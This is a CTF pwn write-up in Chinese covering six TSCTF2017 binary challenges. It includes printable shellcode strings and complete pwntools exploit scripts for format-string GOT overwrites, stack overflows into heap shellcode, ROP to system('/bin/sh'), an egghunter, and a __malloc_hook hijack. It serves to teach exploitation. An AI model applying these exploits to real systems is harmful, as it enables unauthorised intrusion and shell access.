TSCTF2017 Pwn writeup
0x01 ascii
程序读取0xc8个字符到buf中,字符ascii>32,并且跳转到buf执行。
因此输入长度小于0xc8的可见字符shellcode即可。
测试可见字符shellcode
// gcc -z execstack -m32 -o test test.c
#include <stdio.h>
int main()
{
// char shellcode[] = "PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx";
// char shellcode[] = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA";
char shelcode[] = "PYVTX10X41PZ41H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE1D485C3E1YKM6L7L060Y011T2OKO2B5NJO90MM9M3I00";
(*(void (*)())shellcode)();
}
REF
1. 维基百科ASCII表 https://zh.wikipedia.org/wiki/ASCII
2. 可见字符shellcode https://introspelliam.github.io/2017/09/30/%E5%85%A8%E6%98%AF%E5%8F%AF%E8%A7%81%E5%AD%97%E7%AC%A6%E7%9A%84shellcode/
0x02 easyfsb
getname中存在fsb。利用:1.利用fsb写exit GOT为main或getname使得fsb可以多次触发。2.利用fsb读puts ADDR结合libc.so得到system和binsh ADDR。3. 利用fsb写,劫持printf GOT为system再输入binsh即可。
#!/usr/bin/env python
# coding=utf-8
# author: thinkycx
# date: 2018-02-22
from pwn import *
def pwn():
io.recvuntil('Welcome~\n')
offset = 7
addr_getname = 0x0804866E
addr_main = 0x08048648
addr_start = 0x080484A0
payload = fmtstr_payload(offset, {elf.got['exit']: addr_start})
io.sendline(payload)
if debug:
bpsbreak_exit = 'b *0x08048678'
gdb.attach(pidof('pwn1')[0],bpsbreak_exit)
# get libc ADDR
payload = "addr:%47$p"
io.sendafter("Welcome~\n",payload)
data = io.recv(15).split(":")[1]
log.info(data)
libc.address = int(data, 16) - 247 - libc.symbols['__libc_start_main']
log.info(hex(libc.address))
log.info("hjack printf GOT")
payload = fmtstr_payload(offset, {elf.got['printf']: libc.symbols['system']})
io.sendlineafter("Welcome~",payload)
log.info("send binsh")
payload = "/bin/sh\x00"
io.sendlineafter("Welcome~",payload)
if __name__ == '__main__':
global io, elf, libc, debug
local, debug = 1, 0
context.log_level = 'debug'
elf = ELF('./pwn1')
if local:
io = process('./pwn1')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.terminal = ['terminator','-x','sh','-c']
else:
io = remote('127.0.0.1',10000)
libc = ELF('./libc-32.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
pwn()
io.interactive()
0x03 guys
程序首先gets读取输入, 0x1F4< s <=0x1fe。并memcpy s到mprotect开辟的堆空间中,堆空间有执行权限且地址已知。最后继续用gets获取输入。
因此第一次gets时输入shellcode,再利用栈溢出控制EIP到堆中即可。坑点:main函数返回时根据pop的ecx得到的esp,因此根据ecx来构造esp,栈地址可以根据s得到。如果没有栈的地址,如果地址空间有可用的jmp esp应该可以。
注意点:
- mprotect permission是4具有执行权限。
#!/usr/bin/env python
# coding=utf-8
# author: thinkycx
# date: 2018-02-22
from pwn import *
context.local(arch = 'i386', os = 'linux')
def pwn():
payload = asm(shellcraft.sh()).ljust(0x1fe, "A")
io.recvuntil("Hello guys!\n")
ret_addr = int(io.recv(11),16) + 0x228
log.info("ret addr is :" + hex(ret_addr))
io.sendline(payload)
if debug:
bps = ''
bpsbreak_exit = 'b *0x08048678\n break *0x0804890C'
gdb.attach(pidof('guys')[0],bpsbreak_exit)
io.recvuntil("Somethings strange?\n")
heapaddr = int(io.recv(1024),16)
log.info("heap addr is" + hex(heapaddr))
# payload = "A"*0x228 + p32(heapaddr)
payload = "A"*(0x224 - 0xc) + p32(heapaddr + 4) + "B"*0x8
payload = "A"*(0x224 - 0xc) + p32(ret_addr + 4) + "B"*0xC + p32(heapaddr)
io.sendline(payload)
if __name__ == '__main__':
global io, elf, libc, debug
local, debug = 1, 0
context.log_level = 'debug'
elf = ELF('./guys')
if local:
io = process('./guys')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.terminal = ['terminator','-x','sh','-c']
else:
io = remote('127.0.0.1',10000)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
pwn()
io.interactive()
0x04 again and again
程序获取8个数字保存在数组中,在read_num中可以读取输入的数字。在比较时存在整数溢出,因此可以控制v4,例如为2^31。那么可以在read_num中leak stack info。evil函数可被触发一次,存在栈溢出。64位程序,只开了NX。
利用思路一:1. info leak stack中的libc ADDR,题目提供了libc,可得到system和binsh的地址。2.栈溢出ROP。
利用思路二:1. info leak stack 中puts的返回地址。2.栈溢出构造rop:先泄漏libc地址,再构造rop向puts返回地址写rop。再构造rop给read读。 暂时没搞懂。
main函数:
栈info leak:
evil栈溢出:
#!/usr/bin/env python
# coding=utf-8
#!/usr/bin/env python
# coding=utf-8
# author: thinkycx
# date: 2018-02-22
from pwn import *
context.local(arch = 'amd64', os = 'linux')
def input_number():
for i in range(8):
io.sendlineafter("number:",unicode(i))
def pwn():
input_number()
io.sendlineafter("want to see?\n", unicode(pow(2,31)))
io.sendlineafter("you want to seek: \n",unicode(12))
data = io.recvline().split("result = ")[1]
libc_start_main = int(data, 10) - 240
log.info("libc_start_main :" + hex(libc_start_main))
libc.address = libc_start_main - libc.symbols['__libc_start_main']
if debug:
bps = ''
bps_vulnret = "b *0x00000000004007C8"
gdb.attach(pidof('second')[0],bps_vulnret)
poprdi_ret = 0x0000000000400983
binsh_addr = next(libc.search('/bin/sh'))
payload = 'A'*0x18 + p64(poprdi_ret) + p64(binsh_addr) + p64(libc.symbols['system'])
io.sendlineafter("Your name:", payload)
if __name__ == '__main__':
global io, elf, libc, debug
local, debug = 1, 1
context.log_level = 'debug'
elf = ELF('./second')
if local:
io = process('./second')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.terminal = ['terminator','-x','sh','-c']
else:
io = remote('127.0.0.1',10000)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
pwn()
io.interactive()
0x05 bad egg
32位程序,堆栈可执行,保护机制只开了PIE。程序首先malloc一个0 ~ 1000的chunk1,地址已知。随后再紧接着malloc一个256的chunk2。sub_9AB中存在栈溢出,buffer大小为0x10,buffer地址已知。buffer中不能出现sh,随后程序向chunk2读取0x100字节。
栈溢出 0x10 <- 0x20。没有libc无法构造rop,buffer大小有限,拿shell的shellcode目前已知最小是21byte。可以控制EIP执行chunk2中的shellcode。 chunk2的地址范围约为 chunk1 addr ~ chunk1 addr+1000。
方法一:"NOP" + 猜测chunk2地址。
方法二:利用egghunter搜索chunk2中shellcode的地址。
main函数:
sub_8B0函数:
sub_9AB函数:
egghunter:
栈上的shellcode应该布置为一段“egg hunter”代码:即从某一指定内存开始,寻找一个特定的tag,该tag位于存储在堆上的getshell_shellcode的开头,因此找到了tag字符串,也就定位到了shellcode的内存准确位置.
egghunter asm:
egghunter在jmp eax时跳转到的是tag,由于tag设置的是0x41904190,"\x90\x41\x90\x41",对应汇编是nop; inc ecx; nop; inc ecx; 因此shellcode应该与ecx无关,当然也可以设置tag为其它值。
在调试egghunter时发现了asm和机器码转化时ptr的一个细节:
注意点:
- egghunter这里的大小是19byte,最小是18byte 0x12,可以跳转到指定地址后tag处执行。
#!/usr/bin/env python
# coding=utf-8
# author: thinkycx
# date: 2018-02-23
from pwn import *
context.local(arch = 'i386', os = 'linux')
def pwn():
io.recvuntil("Your party seat is ")
heapaddr = int(io.recv(10),16)
io.sendlineafter("Baby, treat or trick?","treat")
io.recvuntil("It's located in ")
buf_addr = int(io.recv(10),16)
# way 1
#size = 0x100 # random
#payload = "A"*0x14 + p32(heapaddr + size)
egghunter = asm(''' # 19 byte
start:
mov eax,%d;
mov ebx,0x4190418f;
inc ebx;
nextaddr:
inc eax;
cmp dword ptr [eax],ebx;
jnz nextaddr;
jmp eax''' % (heapaddr-1) )
log.info("egghunter size is :" + str(len(egghunter)))
log.info("egghunter is :" + egghunter)
assert len(egghunter) < 0x14
payload = egghunter.ljust(0x14,'A') + p32(buf_addr)
io.sendlineafter("What's your name?",payload)
if debug:
gdb.attach(pidof('egg')[0])
payload = "\x90\x41\x90\x41" + asm(shellcraft.sh())
payload = payload.ljust(0x100,'A')
io.sendlineafter("Put your sweets here.",payload)
if __name__ == '__main__':
global io, elf, libc, debug
local, debug = 1,0
context.log_level = 'debug'
elf = ELF('./egg')
if local:
io = process('./egg')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.terminal = ['terminator','-x','sh','-c']
else:
io = remote('127.0.0.1',10000)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
pwn()
io.interactive()
0x06 dictor
这题是一开始没做出来,后来也很久没有调试的一题。相似的题目有0ctf2017的EasiestPrintf(还没调)。做这题之前需要重新炒一下冷饭——格式化字符串漏洞。
回顾格式化字符串漏洞
格式化字符串漏洞原理:format可控。可以操作格式化操作。
格式化字符串漏洞效果:1. info leak 栈中高地址%p
。2. DOS或读栈中某地址处的值%{0}$s
。3. 任意地址写%{0}c%{1}$hhn
。%{0}c产生{0}个字符,%{1}$指定offset+{1}处的位置。hhn 1字节写,把产生的字符数写入指定地址。
格式化字符串漏洞的难点在于任意地址写。pwntools中fmtstr_payload{offset, {addr1: addr2}}
可以用,缺点在于payload中地址在首部,如果写入的地址中有\x00
会导致printf截断,字符不能输出。因此,地址需要放在尾部。
任意地址写通用payload:%{0}c%{1}$hhn
+ PADDING
+ ADDR
。可以参考bluecake写的generate_format
。下面exp中的例子是64位程序,1字节写,offset是6,padding是104。因此地址位置是:offset+padding/8: 6 + 104/8 = 19。每次使用时,需要修改padding和num 19。
若是32位程序,循环次数为4,地址位置:offset+padding/4。
利用前提,计算offset的payload: ABCD|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p 查看ABCD出现的位置。
dictor
程序很简单,main函数中read 0xff后调用printf输出就结束。程序运行时还输出了hello foolish,分析发现这是在main函数之前输出的。交叉应用字符串后发现在_init_array中调用了init_hidden_func函数。
printf函数之后程序就结束了,本题的offset 是6,为了能够多次使用fsb。官方writeup里用fsb修改了_fini_array中的函数,该函数会在程序结束前调用。可以多次使用fsb后,就可以泄漏libc,hjack __malloc_hook为system,传入一个指向sh的指针给printf,输入字符过多调__malloc_hook,就可以拿shell了。
注意点:
- 写exp时接收字符有一个技巧是:用padding+泄漏payload+\n,接受时用recvline()。
- 程序开始和结束还会调用init、finit。
- 如果fsb要写入的地址没有\x00可以用pwntools,有\x00用bluecake的generate_format。
- printf输出过多会调用malloc,可以劫持__malloc_hook,再传入一个指向sh的地址可以拿shell。
#!/usr/bin/env python
# coding=utf-8
# author: thinkycx
# date: 2018-2-24
from pwn import *
context.local(arch = 'amd64', os = 'linux')
def generate_format(addr, value, addition = ''):
# author: bluecake
payload = ''
print_count = 0
addr_part = ''
for i in range(8): # 8 or 4
if (value >> (8*i)) == 0:
break
one_byte = (value >> (8*i)) & 0xff
#print hex(one_byte)
# 19 = offset + padding /8 or 4
payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 19 + i)
print_count += (one_byte - print_count) % 0x100
addr_part += p64(addr + i)
payload += addition
payload = payload.ljust(104, 'a') #padding
payload += addr_part
return payload
def pwn():
io.recvuntil("hello foolish")
log.info("write fini to start & leak libc...")
# fmtstr_payload(6,{0x601048:0x4005D0})
payload = "%208c%16$hhn%53c%17$hhn%59c%18$hhn%192c%19$hhn"
payload += '----%39$p\n'
payload = payload.ljust(80,'A')
payload += p64(0x601050) + p64(0x601051) + p64(0x601052) + p64(0x601053)#last
io.sendline(payload)
io.recvuntil("----")
libc.address = int(io.recvline(),16) - 240 - libc.symbols['__libc_start_main']
log.info("libc address @ 0x%x" % libc.address )
if debug:
gdb.attach(pidof('dictor')[0])
log.info("__malloc_hook @ 0x%x" % libc.symbols['__malloc_hook'])
log.info("system @ 0x%x" % libc.symbols['system'])
malloc_hook = libc.symbols['__malloc_hook']
system_addr = libc.symbols['system']
#payload = fmtstr_payload(6,{malloc_hook: system_addr})
payload = generate_format(malloc_hook, system_addr)
log.info("payload # " + payload)
io.sendlineafter("hello foolish", payload)
sleep(1)
log.info("tigger sh to printf malloc hook...")
payload = "%{0}c".format(0x60082f - 0x20)
io.sendlineafter("hello foolish",payload)
io.sendline("whoami;ls")
if __name__ == '__main__':
global io, elf, libc, debug
local, debug = 1,0
context.log_level = 'debug'
elf = ELF('./dictor')
if local:
io = process('./dictor')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.terminal = ['terminator','-x','sh','-c']
else:
io = remote('127.0.0.1',10000)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
pwn()
io.interactive()